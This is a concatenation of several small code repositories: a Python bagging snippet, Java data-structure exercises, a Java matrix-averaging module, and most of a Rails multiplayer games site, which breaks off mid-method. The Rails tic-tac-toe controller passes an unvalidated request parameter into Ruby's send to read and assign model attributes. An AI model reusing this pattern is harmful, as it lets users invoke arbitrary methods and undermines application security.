model = BaggingClassifier(base_estimator=gnb, n_estimators=num_trees, random_state=seed)
results = model_selection.cross_val_score(model, X, Y, cv=kfold)
print("Performing bagging with 10-fold cross-validation. The accuracy for each of the 10 folds are:")
print(results)
print("Final Accuracy : " + str(results.mean() * 100) + "%")
| 2e450c0e8e09b390032ef7e256314d1680b0facd | [
"Python"
] | 2 | Python | auxillary1902/MLProject | 8cc4ca2bf0d97dadc79844653d2dbc40a4b936eb | d3d460df9ad1f1b257b41b1622a01c1f8e818d3c |
refs/heads/master | <file_sep># Structure-de-donnees-en-Java
Il s'agit de parcourir les structures de données, la complexité et les méthodes algorithmiques en Java
<file_sep>public class Hanoi {
public static void main(String[] args) {
/* Just for a Test*/
HanoiTower(4, 'X', 'Z', 'Y');
}
static void HanoiTower(int n, char depart, char intermediaire, char arrivee){
if(n==1){
System.out.println("Déplacer le disque"+n+" de la tige de depart:"+depart+" à l'arrivee:"+arrivee);
}else{
HanoiTower(n-1, depart,arrivee,intermediaire);
System.out.println("Déplacer le disque"+n+" de la tige de depart:"+depart+" à l'arrivee:"+arrivee);
HanoiTower(n-1, intermediaire,depart,arrivee);}
}
}
<file_sep>import java.util.Arrays;
public class Main {
public static void main(String[] args) {
int []tab={1,2,3,4,5,6,7,8,9};
sumProductTableau(tab);
pairTableau(tab);
System.out.println(Arrays.toString(tab));
System.out.println();
reverseTableau(tab);
Hanoi.HanoiTower(8, 'X', 'Z', 'Y');
}
static void sumProductTableau(int [] tableau){
int sum=0;
int product=1;
for (int j : tableau) {
sum = sum + j;
product = product * j;
}
System.out.println("La somme du tableau est "+sum+" Le produit du tableau est "+product);
}
static void pairTableau(int [] tableau){
for (int k : tableau) {
for (int i : tableau) {
System.out.println(k + "" + i);
}
System.out.println();
}
}
static void reverseTableau(int [] tableau){
for (int i=0;i<tableau.length/2;i++){
int temp= tableau[tableau.length-1-i];
tableau[tableau.length-1-i]= tableau[i];
tableau[i]=temp;
}
System.out.println(Arrays.toString(tableau));
}
}
| bb1858ec196ba288c265dda71cfa562a739036b1 | [
"Markdown",
"Java"
] | 3 | Markdown | gittka/Structure-de-donnees-en-Java | 84cfc6f08e858cf9a731202e732789f64db0c04b | d1cdbc9b2513c45880ad0e37ff9ab5c938a0d6d4 |
refs/heads/master | <file_sep>## 项目
保存项目代码文件,项目中重要文件已过滤<file_sep>package com.lin.StateAssess;
import java.math.BigDecimal;
import java.util.Arrays;
import java.util.List;
/**
* 求取求平均判断矩阵
*/
public class ComputeAverageMatrix {
//单例
private static final ComputeAverageMatrix instance = new ComputeAverageMatrix();
/**
* 私有构造函数
*/
private ComputeAverageMatrix(){
}
//返回单例
public static ComputeAverageMatrix getInstance(){
return instance;
}
/**
* 修改为采用list计算
* * 平均判断矩阵也要满足对角线对称,处理方式如下:
* 1)所有两两判断矩阵中主对角线的元素均为1,不作处理
* 2)仅对 m 个两两判断矩阵中主对角线以上部分的 n(n-1)/2 个元素作平均化处理
* 3)翻转上半部分到下半部分,其中值为倒数
* @param list
* @return
*/
public double[][] computeAverageMatrix_list(List<double[][]> list){
//校验输入
if (list== null || list.size()==0)
return null;
//获取数组的长度
int len = list.get(0).length;
//获取二维数组的个数,用于循环遍历
int arrayLen = list.size();
double[][] res = new double[len][len]; //返回结果集
for (int i=0;i<len;i++){
for (int j=i+1;j<len;j++){
double sum =0;
for (int k=0;k<arrayLen;k++){
sum += list.get(k)[i][j];
}
//将右上角平均花的值写入到返回数组中
res[i][j] = sum/3;
//翻转 res 数组,沿对角线翻转,其下方的值为上方的倒数,边计算边翻转
res[j][i] = 1/res[i][j];
//四舍五入,保留有效位为4位
res[i][j] = round(res[i][j],4);
res[j][i] = round(res[j][i],4);
}
}
//将对角线上的值置为 1
for (int i=0;i<res.length;i++){
res[i][i] = 1;
}
// System.out.println(Arrays.toString(res[0]));
//平均判断矩阵
return res;
}
/**
* 四舍五入
*
* @param v
* @param scale
* @return
*/
private static double round(double v, int scale) {
if (scale < 0) {
throw new IllegalArgumentException(
"The scale must be a positive integer or zero");
}
BigDecimal b = new BigDecimal(Double.toString(v));
BigDecimal one = new BigDecimal("1");
return b.divide(one, scale, BigDecimal.ROUND_HALF_UP).doubleValue();
}
/**
* 测试的主函数,
* 上线的时候应该去除
* @param args
*/
public static void main(String[] args) {
double [][] a ={{1,4,5},{0.25,1,2},{0.2,0.5,1}};
double [][] b ={{1,2,4},{0.5,1,2},{0.25,0.5,1}};
double [][] c ={{1,2.5,6},{0.4,1,3},{0.167,0.333,1}};
// computeAverageMatrix(a,b,c);
}
}
<file_sep>package com.lin.controller;
import javax.annotation.Resource;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
/**
* 功能概要:UserController
* @author chenhuan
* @since 2017年11月10日
*/
@Controller
@RequestMapping("/user")
public class SituationAnalysisController extends BaseController {
private Logger logger = LoggerFactory.getLogger(getClass());
/**
* 显示首页
* @author chenhuan
* @since 2017年7月10日
* @return
*/
@RequestMapping(value="/main")
public String main(){
return "mainView/main";
}
//start
@RequestMapping(value="/start")
public String start(){
return "mainView/start";
}
/**
* 供电区域
* @since 2017年7月10日
* @return
*/
@RequestMapping(value="/gongdianquyu")
public String chart(){
return "SituationAnalysis/gongdianquyu";
}
/**
* 南岸供电区域概况
* @since 2017年7月10日
* @return
*/
@RequestMapping(value="/dianwanggaikuang")
public String echart(){
return "SituationAnalysis/dianwanggaikuang";
}
/**
* 网架联络
* @since 2017年7月10日
* @return
*/
@RequestMapping(value="/wangjialianluo")
public String bootStrapTest1(){
return "SituationAnalysis/wangjialianluo";
}
/**
* 网架分段
* @since 2017年7月24日
* @return
*/
@RequestMapping("/wangjiafenduan")
public String touziANDxiaoyo(){
return "SituationAnalysis/wangjiafenduan";
}
/**
* 线路负载
* @since 2017年7月24日
* @return
*/
@RequestMapping("/xianlufuzai")
public String image(){
return "SituationAnalysis/xianlufuzai";
}
//xiaoyiContract
/**
* 指标概况
* @since 2017年7月24日
* @return
*/
@RequestMapping("/zhibiaogaikuang")
public String xiaoyiContract(){
return "SituationAnalysis/zhibiaogaikuang";
}
}
<file_sep>package com.lin.StateAssess;
import java.util.Arrays;
import java.util.List;
/**
* 校验判断矩阵是否有效
*
* 遍历所有的判别矩阵:和平均矩阵做判断
*
* 每一个元素与已经求取平均判别矩阵相比较
*/
public class MartixIsValid {
//私有构造
private MartixIsValid(){
}
//单例
private static final MartixIsValid instance = new MartixIsValid();
//返回单例
public static MartixIsValid getInstance(){
return instance;
}
/**
*
* @param avgMartix
* @param list
* @return
*/
public boolean isValid_list(double[][] avgMartix,List<double[][]> list){
//校验输入
if (avgMartix == null || list == null)
return false;
if (avgMartix.length == 0 || list.size() == 0)
return false;
//矩阵的维度
int len = avgMartix.length;
//保存输入list 的 长度,便于之后的比较
int listLen = list.size();
//获取二维数组的个数,用于循环遍历
int arrayLen = list.size();
//判断该矩阵的离散度
for (int i=0;i<len;i++){
for (int j=0;j<len;j++){
for (int k=0;k<arrayLen;k++){
//如果这个矩阵不符合要求,删除它并跳出循环
if ( list.get(k)[i][j] - avgMartix[i][j]>avgMartix[i][j]/2){
System.out.println("删除矩阵:");
list.remove(list.get(k));
arrayLen = arrayLen-1;
break;
}
}
}
}
//如果遍历完之后list 的长度和arrayLen相等。说明符合要求,否则返回重新计算
return list.size() == listLen ?true:false;
}
}
| 7467a8f93a2f5622c26935e40ef2b414d14a16d5 | [
"Markdown",
"Java"
] | 4 | Markdown | HuanChen1025/NanAn_Project | adb1f45f372562095b9c4444c5ae8d240a6bc51a | a47a3d1e9ea82afffabcc1eb73fc82830de8a95b |
refs/heads/master | <repo_name>mwissig/crepuscular<file_sep>/db/migrate/20190624163501_add_column_to_slot.rb
class AddColumnToSlot < ActiveRecord::Migration[5.2]
def change
add_column :slots, :biggest_prize, :integer
add_column :slots, :biggest_winner_id, :integer
add_column :slots, :biggest_win_date, :datetime
end
end
<file_sep>/app/controllers/users_controller.rb
class UsersController < ApplicationController
before_action :find_user, only: %i[show edit update]
before_action :food_for_select, only: %i[show]
def new
@user = User.new
end
def create
@user = User.new(user_params)
if @user.save
Profile.create(
username: "Player" + @user.id.to_s,
color: "000000",
user_id: @user.id)
@user.set_confirmation_token
@user.save(validate: false)
UserMailer.registration_confirmation(@user).deliver
flash[:success] = "Please confirm your email address to continue. If you do not recieve a confirmation email, your account will be activated within 24 hours."
redirect_to login_path(fallback_location: root_path)
else
render 'new'
msg = @user.errors.full_messages
flash.now[:error] = msg
end
end
def edit; end
def update
if @user.update(user_params)
p 'user successfully updated'
redirect_back(fallback_location: root_path)
else
msg = @user.errors.full_messages
flash.now[:error] = msg
redirect_back(fallback_location: root_path)
end
end
def show
@user = User.find(params[:id])
@lobbychats = Lobbychat.all.last(100)
@items = @user.items
if logged_in?
@lobbychat = @current_user.lobbychats.new
@friend = Friend.new
end
@friends = @user.friends.where(accepted: true)
end
def index
@users = User.all.where(email_confirmed: true)
end
def destroy
@user = User.find(params[:user_id])
@user.destroy
redirect_to register_path
end
def confirm_email
user = User.find_by_confirm_token(params[:id])
if user
user.email_activate
flash[:success] = "Welcome to the Crepuscular Games! Your email has been confirmed.
Please sign in to continue."
redirect_to login_url
else
flash[:error] = "Sorry. User does not exist"
redirect_to root_url
end
end
private
def user_params
params.require(:user).permit(:email, :password, :password_confirmation, :time_zone, :admin, :banned_from_chat, :ban_until, :points, :wins, :losses, :time_since_daily_bonus)
end
def find_user
@user = User.find(params[:id])
end
def food_for_select
if logged_in?
@food = @current_user.items.where(category: "food")
end
end
end
<file_sep>/app/controllers/checkers_controller.rb
class CheckersController < ApplicationController
def new
end
def index
@nums = (1..8).to_a
@lets = ('a'..'h').to_a
@odds = %w(a c e g)
@coords = []
@lets.each do |let|
@nums.each do |num|
@coords.push(let + num.to_s)
@black_piece_starter_coordinates = %w(a2 a4 a6 a8 b1 b3 b5 b7 c2 c4 c6 c8)
@red_piece_starter_coordinates = %w(f1 f3 f5 f7 g2 g4 g6 g8 h1 h3 h5 h7)
end
end
@revcoords = @coords.reverse
end
def edit
end
def show
end
end
<file_sep>/test/controllers/checkers_controller_test.rb
require 'test_helper'
class CheckersControllerTest < ActionDispatch::IntegrationTest
test "should get new" do
get checkers_new_url
assert_response :success
end
test "should get index" do
get checkers_index_url
assert_response :success
end
test "should get edit" do
get checkers_edit_url
assert_response :success
end
test "should get show" do
get checkers_show_url
assert_response :success
end
end
<file_sep>/app/controllers/lobbychats_controller.rb
class LobbychatsController < ApplicationController
before_action :get_lobbychats
def index
end
def new
end
def create
if logged_in?
@lobbychat = @current_user.lobbychats.build(lobbychat_params)
if @lobbychat.save
ActionCable.server.broadcast 'makelobbychat_channel',
body: @lobbychat.body,
username: @lobbychat.user.profile.username,
color: @lobbychat.user.profile.color,
userpath: url_for(user_path(@lobbychat.user))
end
end
end
private
def get_lobbychats
@lobbychats = Lobbychat.all
if logged_in?
@lobbychat = @current_user.lobbychats.build(lobbychat_params)
@lobbychat.user_id = @current_user.id
end
end
def lobbychat_params
params.require(:lobbychat).permit(:body)
end
end
<file_sep>/app/controllers/friends_controller.rb
class FriendsController < ApplicationController
before_action :find_friend, only: %i[show edit update]
def new
@friend = Friend.new
end
def create
@friend = Friend.new(friend_params)
@friend.save!
if @friend.save
if @friend.accepted == false
@notification = Notification.create(
user_id: @friend.recipient_id,
sender_id: @friend.user_id,
body: 'User has sent a friendship request.',
game: 'friend_sent',
game_id: @friend.id,
points: 0
)
elsif @friend.accepted == true
@original_request = Friend.where('user_id = ? AND recipient_id = ?', @friend.recipient_id, @friend.user_id).first
@original_request.accepted = true
@original_request.save!
@notification = Notification.create(
user_id: @friend.recipient_id,
sender_id: @friend.user_id,
body: 'User has accepted a friendship request.',
game: 'friend_accepted',
game_id: @friend.id,
points: 0
)
end
@to_user = User.find_by(id: @notification.user_id)
@notecount = @to_user.notifications.where(read: false).count
ActionCable.server.broadcast 'notifications_channel',
notecount: @notecount
redirect_to user_path(@friend.recipient_id)
else
redirect_to user_path(@friend.recipient_id)
msg = @friend.errors.full_messages
flash.now[:error] = msg
end
end
def edit; end
def update
if @friend.update(friend_params)
p 'friend successfully updated'
redirect_back(fallback_location: root_path)
else
msg = @friend.errors.full_messages
flash.now[:error] = msg
redirect_back(fallback_location: root_path)
end
end
def show
@friend = Friend.find(params[:id])
@friend = @current_friend.friend.new(friend_params)
end
def index
@friends = Friend.all
end
def destroy
@friend = Friend.find(params[:friend_id])
@friend.destroy
redirect_to root_path
end
private
def friend_params
params.require(:friend).permit(:user_id, :recipient_id, :accepted)
end
def find_friend
@friend = Friend.find(params[:id])
end
end
<file_sep>/app/models/gamechat.rb
class Gamechat < ApplicationRecord
belongs_to :user
validates :body, presence: true
scope :for_display, -> { order(:created_at).last(200) }
before_save :default_values
def default_values
self.game_id ||= @game_id
self.game_type ||= @gametype
end
end
<file_sep>/README.md
# Crepuscular games
A games site using Rails + Actioncable to make a series of interconnected multiplayer online games. Users earn points that they can use to purchase items in an in-game shop, and those items can be used in other games.
Currently, players are able to play tic-tac-toe with one another and play a slot machine.
They are able to buy eggs that hatch into pets, and feed the pets.
In production: a mini Terraria-style mining game in which players can collaboratively build a small world, and mine it for materials that they will be able to sell, and eventually also craft into other materials.
<file_sep>/app/models/profile.rb
class Profile < ApplicationRecord
belongs_to :user
validates :username, presence: true, length: { maximum: 20 }
validates :color, presence: true, length: { is: 6 }
end
<file_sep>/app/models/notification.rb
class Notification < ApplicationRecord
belongs_to :user
before_save :default_values
def default_values
self.read ||= false
self.points ||= 0
end
end
<file_sep>/app/controllers/pages_controller.rb
class PagesController < ApplicationController
skip_before_action :verify_authenticity_token
before_action :get_lobbychats
def home
@minelinktiles = Minetile.all.order("created_at ASC").where("xcoord > ? AND ycoord > ? AND xcoord < ? AND ycoord < ?", 11, 20, 19, 41).limit(140)
@recent_tictactoes = Tictactoe.all.order(updated_at: :desc).first(6)
if logged_in?
@my_tictactoes = Tictactoe.where('x_id = ? OR o_id = ?', @current_user.id, @current_user.id).order(updated_at: :desc)
end
@grid = ['a1', 'a2', 'a3', 'b1', 'b2', 'b3', 'c1', 'c2', 'c3']
if logged_in?
@random_opponent = @thisweekusers.where.not(user_id: @current_user.id).sample
@users = User.all.where(email_confirmed: true).where.not(id: @current_user.id).order(:id)
@usernames = []
@users.each do |user|
@usernames.push user.profile.username
end
@userlist = @usernames.zip(@users.ids)
end
@tictactoe = Tictactoe.new
end
def games
end
def faq
end
def slots
@slot = Slot.first
@last_winner = User.find_by(id: @slot.last_winner_id)
@biggest_winner = User.find_by(id: @slot.biggest_winner_id)
@lobbychats = Lobbychat.all.last(100)
if logged_in?
@lobbychat = @current_user.lobbychats.new
end
end
def slots2
if logged_in?
@slot = Slot.first
@last_winner = User.find_by(id: @slot.last_winner_id)
@biggest_winner = User.find_by(id: @slot.biggest_winner_id)
if @current_user.points >= 10
@current_user.decrement!(:points, 10)
@slot.increment!(:jackpot, 10)
@reel = ["<h3 class='animated slideInUp fast'><i class='fas fa-pepper-hot red'></i></h3>", "<span class='bar animated slideInUp'>BAR</span>", "<h3 class='animated slideInUp faster'><b>7</b></h3>", "<span class='animated slideInUp slow jackpot'>JACKPOT</span>", "<h3 class='animated slideInDown slow'><i class='fas fa-anchor'></i></h3>", "<h3 class='animated slideInDown'><i class='fas fa-lemon yellow'></i></h3>", "<h3 class='animated slideInDown fast'><i class='fas fa-money-bill-wave green'></i></h3>", "<h3 class='animated slideInUp faster'><i class='fas fa-coins gold'></i></h3>", "<h3 class='animated slideInDown'><i class='fas fa-star purple'></i></h3>"]
@reel1 = @reel.sample
@reel2 = @reel.sample
@reel3 = @reel.sample
@message = ""
@amount = 0
if @reel1 == "<span class='animated slideInUp slow jackpot'>JACKPOT</span>" && @reel1 == @reel2 && @reel2 == @reel3
@message = "JACKPOT! You won<div class='pyro'><div class='before'></div><div class='after'></div></div>"
@amount = @slot.jackpot
@time = DateTime.now
@current_user.increment!(:points, @amount)
@slot.decrement!(:jackpot, @amount)
@slot.jackpot = 1000
@slot.last_win_prize = @amount
@slot.last_win_date = @time
@slot.last_winner_id = @current_user.id
if @amount > @slot.biggest_prize
@slot.biggest_prize = @amount
@slot.biggest_winner_id = @current_user.id
@slot.biggest_win_date = @time
end
@slot.save!
elsif @reel1 == @reel2 && @reel2 == @reel3
@message = "You won"
@amount = 100
@current_user.increment!(:points, 100)
@slot.decrement!(:jackpot, 10)
elsif @reel1 == @reel3 && @reel1 != @reel2
@message = "You won"
@amount = 50
@current_user.increment!(:points, 50)
@slot.decrement!(:jackpot, 50)
elsif @reel1 == @reel2 && @reel1 != @reel3
@message = "You won"
@amount = 5
@current_user.increment!(:points, 5)
@slot.decrement!(:jackpot, 5)
elsif @reel2 == @reel3 && @reel1 != @slotreel2
@message = "You won"
@amount = 5
@current_user.increment!(:points, 5)
@slot.decrement!(:jackpot, 5)
else
@message = "You lost"
@amount = 0
end
if @amount > 0
flash[:slots] = "<h3 class='animated fadeIn'>" + @message + " " + @amount.to_s + " <i class='fas fa-coins gold'></i></h3>"
flash[:slotreel1] = @reel1
flash[:slotreel2] = @reel2
flash[:slotreel3] = @reel3
else
flash[:slots] = "<p class='animated fadeIn'> " + @message + "</p>"
flash[:slotreel1] = @reel1
flash[:slotreel1] = @reel1
flash[:slotreel2] = @reel2
flash[:slotreel3] = @reel3
end
redirect_to games_slots_path
else
flash[:slots] = "You do not have enough <i class='fas fa-coins gold'></i>."
end
end
end
def pictionary
@pictionaries = Pictionary.all
@onlineusers = @pictionaries.where('last_online > ?', 10.minutes.ago)
@recentusers = @pictionaries.where('last_online > ?', 1.hour.ago)
if logged_in?
if @current_user.pictionary != nil
@pictionary = @current_user.pictionary
@pictionary.last_online = DateTime.now
@pictionary.save!
if @pictionary.save
ActionCable.server.broadcast 'pictionary_players_channel',
name: @current_user.profile.username,
last_online: @pictionary.last_online.strftime("%-l:%M%P %B %-d, %Y")
end
else
@pictionary = Pictionary.create(
user_id: @current_user.id,
last_online: DateTime.now,
current_score: 0,
all_time_score: 0,
turn: false
)
if @pictionary.save
ActionCable.server.broadcast 'pictionary_players_channel',
name: @current_user.profile.username,
last_online: @pictionary.last_online.strftime("%-l:%M%P %B %-d, %Y")
end
end
end
end
def pic2
ActionCable.server.broadcast 'pictionary_channel',
fromx: params[:fromx],
fromy: params[:fromy],
tox: params[:tox],
toy: params[:toy],
color: params[:color],
size: params[:size]
head :ok
end
def mine
@gametype = "mine"
@gameid = 1
@gamechats = Gamechat.where("game_type = ? and game_id = ?", "mine", 1).last(200)
@gamechattitle = "Mine Chat"
@players = Mineplayer.all
@activeplayers = @players.where('updated_at > ?', 1.hour.ago)
@tiles = Minetile.all.order("created_at ASC")
if logged_in?
@pickaxes = @current_user.items.where(category: "pickaxes").order(integer1: :desc)
@playerspeed = 200
if @pickaxes.first != nil
@pickaxe = @pickaxes.first
@pickaxename = @pickaxe.name
@pickaxelevel = @pickaxe.integer1
else
@pickaxename = "Bare Hands"
@pickaxelevel = 0
end
if @current_user.mineplayer != nil
@current_player = @current_user.mineplayer
@current_player.pickaxe = @pickaxename
@current_player.axelvl = @pickaxelevel
@current_player.speed = @playerspeed
@current_player.controls = "standard"
@current_player.updated_at = DateTime.now
@current_player.save!
else
@current_player = Mineplayer.create(
user_id: @current_user.id,
deltax: 275,
deltay: 785,
coords: "15_10",
pickaxe: @pickaxename,
axelvl: @pickaxelevel,
speed: @playerspeed,
controls: "standard"
)
end
@deltax = @current_player.deltax
@deltay = @current_player.deltay
@mycoords = @current_player.coords
else
@pickaxename = "Bare Hands"
@pickaxelevel = 0
@deltax = 275
@deltay = 785
@mycoords = "15_10"
end
end
def shop
@items = Shopitem.all
end
def buy
@item_name = params[:name]
@shopitem = Shopitem.find_by(name: @item_name)
if @current_user.points >= @shopitem.shop_price.to_i
@item = Item.create(
user_id: @current_user.id,
name: @shopitem.name,
image: @shopitem.image,
category: @shopitem.category,
shop_price: @shopitem.shop_price.to_i,
sellback_price: @shopitem.sellback_price.to_i,
user_set_price: 0,
color: @shopitem.color,
material: @shopitem.material,
quality: @shopitem.quality,
description: @shopitem.description,
long_description: @shopitem.long_description,
string1: @shopitem.string1,
string2: @shopitem.string2,
integer1: @shopitem.integer1,
integer2: @shopitem.integer2,
datetime1: @shopitem.datetime1,
datetime2: @shopitem.datetime2
)
if @item.save
@current_user.decrement!(:points, @shopitem.shop_price.to_i)
flash[:shop] = @shopitem.name + " bought."
redirect_to shop_path
end
else
redirect_to shop_path
flash[:shop] = "Not enough money"
end
end
def sell
@item_name = params[:name]
@item = @current_user.items.where(name: @item_name).first
@current_user.increment!(:points, @item.sellback_price.to_i)
@item.destroy!
if @item.destroy
flash[:shop] = @item.name + " sold"
redirect_to shop_path
else
redirect_to shop_path
flash[:shop] = "Item does not exist"
end
end
def feed
if logged_in?
@food_id = params[:food]
@pet_id = params[:pet]
@food = Item.find_by(id: @food_id)
@pet = Item.find_by(id: @pet_id)
@food_value = @food.integer1
@pet_current_hunger = @pet.integer1
@pet_max_hunger = @pet.integer2
@points_to_max = @pet_max_hunger - @pet_current_hunger
if @food_value > @points_to_max
@food_value = @points_to_max + 1
end
@pet.increment!(:integer1, @food_value)
@pet.datetime1 = DateTime.now
@pet.save!
@food.destroy!
redirect_to user_path(@current_user)
flash[:inventory] = "You have fed your" + @pet.name
end
end
def fillfeeder
if logged_in?
@food_id = params[:food]
@feeder_id = params[:feeder]
@food = Item.find_by(id: @food_id)
@feeder = Item.find_by(id: @feeder_id)
@food_value = @food.integer1
@feeder.increment!(:integer1, @food_value)
@feeder.save!
@food.destroy!
redirect_to user_path(@current_user)
flash[:inventory] = "You have added " + @food.integer1.to_s + " food to your Automatic Pet Feeder."
end
end
def dispose
if logged_in?
@item_id = params[:item]
@item = Item.find_by(id: @item_id)
flash[:inventory] = @item.name + " disposed of."
@item.destroy!
redirect_to user_path(@current_user)
end
end
private
def get_lobbychats
@lobbychats = Lobbychat.all.last(100)
if logged_in?
@lobbychat = @current_user.lobbychats.new
end
end
end
<file_sep>/config/routes.rb
Rails.application.routes.draw do
get 'faq' => 'pages#faq'
get 'admin' => 'pages#admin'
get 'checkers/new'
get 'checkers' => 'checkers#index'
get 'checkers/edit'
get 'checkers/show'
mount Ckeditor::Engine => '/ckeditor'
get 'friends/new'
get 'friends/edit'
get 'friends/index'
get 'friends/show'
get 'pages/pic2'
get 'inbox' => 'notifications#index'
get '/users' => 'users#index'
get 'tictactoes/new'
get 'tictactoes/edit'
get 'tictactoes/index'
get 'tictactoes/show'
get 'tictactoes/:id/play' => 'tictactoes#play'
get 'shop' => 'pages#shop'
get 'shop/buy' => 'pages#buy'
get 'shop/sell' => 'pages#sell'
get 'feed' => 'pages#feed'
get 'fill_feeder' => 'pages#fillfeeder'
get 'dispose' => 'pages#dispose'
get 'games' => 'pages#games'
get 'games/blackjack' => 'pages#blackjack'
get 'games/slots' => 'pages#slots'
get 'games/slots2' => 'pages#slots2'
post 'games/slots2' => 'pages#slots'
get 'games/pictionary' => 'pages#pictionary'
post 'games/pictionary/update', to: 'pages#pic2'
get 'mine' => 'pages#mine'
get 'mine/move'
post 'mine/move'
get 'mine/dig'
post 'mine/dig'
get 'mine/place'
post 'mine/place'
get 'password_resets/new'
get 'password_resets/edit'
get 'profiles/new'
get 'profiles/edit'
get 'profiles/index'
get 'profiles/show'
get 'blackjack/new'
get 'blackjack/edit'
get 'blackjack/index'
get 'blackjack/show'
get 'login' => 'sessions#new'
post 'login' => 'sessions#create'
delete 'logout' => 'sessions#destroy'
get 'register' => 'users#new'
get '/:token/confirm_email/', :to => "users#confirm_email", as: 'confirm_email'
root 'pages#home'
# For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
resources :slots do
end
resources :shopitems do
end
resources :lobbychats do
end
resources :notifications do
end
resources :gamechats do
end
resources :tictactoes do
end
resources :users do
resources :profiles do
end
resources :items do
end
resources :friends do
end
delete 'delete' => 'users#destroy'
member do
get :confirm_email
end
end
resources :password_resets, only: [:new, :create, :edit, :update]
mount ActionCable.server, at: '/cable'
end
<file_sep>/test/controllers/lobbychats_controller_test.rb
require 'test_helper'
class LobbychatsControllerTest < ActionDispatch::IntegrationTest
test "should get new" do
get lobbychats_new_url
assert_response :success
end
test "should get edit" do
get lobbychats_edit_url
assert_response :success
end
test "should get index" do
get lobbychats_index_url
assert_response :success
end
test "should get show" do
get lobbychats_show_url
assert_response :success
end
end
<file_sep>/app/models/lobbychat.rb
class Lobbychat < ApplicationRecord
belongs_to :user
validates :body, presence: true
scope :for_display, -> { order(:created_at).last(200) }
end
<file_sep>/test/controllers/blackjack_controller_test.rb
require 'test_helper'
class BlackjackControllerTest < ActionDispatch::IntegrationTest
test "should get new" do
get blackjack_new_url
assert_response :success
end
test "should get edit" do
get blackjack_edit_url
assert_response :success
end
test "should get index" do
get blackjack_index_url
assert_response :success
end
test "should get show" do
get blackjack_show_url
assert_response :success
end
end
<file_sep>/db/migrate/20190624191913_rename_inventories_to_items_again.rb
class RenameInventoriesToItemsAgain < ActiveRecord::Migration[5.2]
def change
rename_table :inventories, :items
end
end
<file_sep>/app/models/tictactoe.rb
class Tictactoe < ApplicationRecord
before_save :default_values
def default_values
self.turn ||= "x"
self.x_wins ||= 0
self.o_wins ||= 0
end
validates :x_id, presence: true
validates :o_id, presence: true
attr_accessor :co
attr_accessor :button
end
<file_sep>/app/helpers/sessions_helper.rb
module SessionsHelper
def log_in(user)
session[:user_id] = user.id
end
def current_user
@current_user ||= User.find_by(id: session[:user_id]) if session[:user_id]
end
def logged_in?
!current_user.nil?
end
def log_out
session.delete(:user_id)
@current_user = nil
end
end
<file_sep>/db/migrate/20190617155124_create_pictionaries.rb
class CreatePictionaries < ActiveRecord::Migration[5.2]
def change
create_table :pictionaries do |t|
t.integer :user_id
t.datetime :last_online
t.integer :current_score
t.integer :all_time_score
t.boolean :turn
t.timestamps
end
end
end
<file_sep>/app/controllers/gamechats_controller.rb
class GamechatsController < ApplicationController
before_action :get_gamechats
def index
end
def new
end
def create
if logged_in?
@gamechat = @current_user.gamechats.build(gamechat_params)
if @gamechat.save
ActionCable.server.broadcast 'makegamechat_channel',
body: @gamechat.body,
username: @gamechat.user.profile.username,
color: @gamechat.user.profile.color,
game: @gamechat.game_type,
id: @gamechat.game_id,
userpath: url_for(user_path(@gamechat.user))
end
end
end
private
def get_gamechats
@gamechats = Lobbychat.all
if logged_in?
@gamechat = @current_user.gamechats.build(gamechat_params)
@gamechat.user_id = @current_user.id
end
end
def gamechat_params
params.require(:gamechat).permit(:body, :game_id, :game_type)
end
end
<file_sep>/db/migrate/20190719205926_create_minetiles.rb
class CreateMinetiles < ActiveRecord::Migration[5.2]
def change
create_table :minetiles do |t|
t.integer :xcoord
t.integer :ycoord
t.string :coords
t.string :bgclass
t.string :fgclass
t.timestamps
end
end
end
<file_sep>/app/controllers/tictactoes_controller.rb
class TictactoesController < ApplicationController
before_action :find_tictactoe, only: %i[show edit update play]
before_action :define_players, only: %i[show edit update play]
before_action :win_conditions, only: %i[show edit update play]
def new
@tictactoe = Tictactoe.new
end
def create
if logged_in?
@tictactoe = Tictactoe.new(tictactoe_params)
@tictactoe.save!
if @tictactoe.save
@notification = Notification.create(
user_id: @tictactoe.o_id,
sender_id: @tictactoe.x_id,
body: 'A new tic-tac-toe game has been created.',
game: 'tictactoe',
game_id: @tictactoe.id,
points: 0
)
@to_user = User.find_by(id: @notification.user_id)
@notecount = @to_user.notifications.where(read: false).count
ActionCable.server.broadcast 'notifications_channel',
notecount: @notecount
redirect_to tictacto_path(@tictactoe)
else
msg = @tictactoe.errors.full_messages
flash.now[:ticerr] = "msg"
redirect_back(fallback_location: root_path)
end
else
flash.now[:ticerr] = "No opponent available."
redirect_back(fallback_location: root_path)
end
end
def edit
end
def index
@tictactoes = Tictactoe.all.order(updated_at: :desc).paginate(page: params[:page], per_page: 12)
@tictactoe = Tictactoe.new
@grid = ['a1', 'a2', 'a3', 'b1', 'b2', 'b3', 'c1', 'c2', 'c3']
@lobbychats = Lobbychat.all.last(100)
if logged_in?
@lobbychat = @current_user.lobbychats.new
@random_opponent = @thisweekusers.where.not(user_id: @current_user.id).sample.user
@users = User.all.where(email_confirmed: true).where.not(id: @current_user.id).order(:id)
@usernames = []
@users.each do |user|
@usernames.push user.profile.username
end
@userlist = @usernames.zip(@users.ids)
end
end
def show
@lobbychats = Lobbychat.all.last(100)
@gametype = "tictactoe"
@gameid = params[:id]
@gamechats = Gamechat.where("game_type = ? and game_id = ?", "tictactoe", params[:id]).last(200)
@grid = ['a1', 'a2', 'a3', 'b1', 'b2', 'b3', 'c1', 'c2', 'c3']
if !logged_in?
@current_user_status = "spectator"
end
if logged_in?
@lobbychat = @current_user.lobbychats.new
if @current_user == @user_x || @current_user == @user_o
@current_user_status = "player"
if @current_user == @user_x
@current_user_mark = "x"
elsif @current_user == @user_o
@current_user_mark = "o"
end
else
@current_user_status = "spectator"
end
end
end
def play
if logged_in?
@co = params[:co]
if @tictactoe.turn == @current_user_mark && @tictactoe.send(@co) == nil
@tictactoe.send("#{@co}=", @current_user_mark)
if @tictactoe.turn == "x"
@tictactoe.turn = "o"
elsif @tictactoe.turn == "o"
@tictactoe.turn = "x"
end
@tictactoe.save!
if @tictactoe.save
ActionCable.server.broadcast 'tictactoe_channel',
"#{@co}": @tictactoe.send(@co),
ticmessage: nil,
ticturn: "It's " + @turn_user.profile.username + "'s turn.",
id: @tictactoe.id
end
if @tictactoe.send(@co) != nil && @tictactoe.send(@co) != @current_user_mark
ActionCable.server.broadcast 'tictactoe_channel',
ticmessage: "Invalid move.",
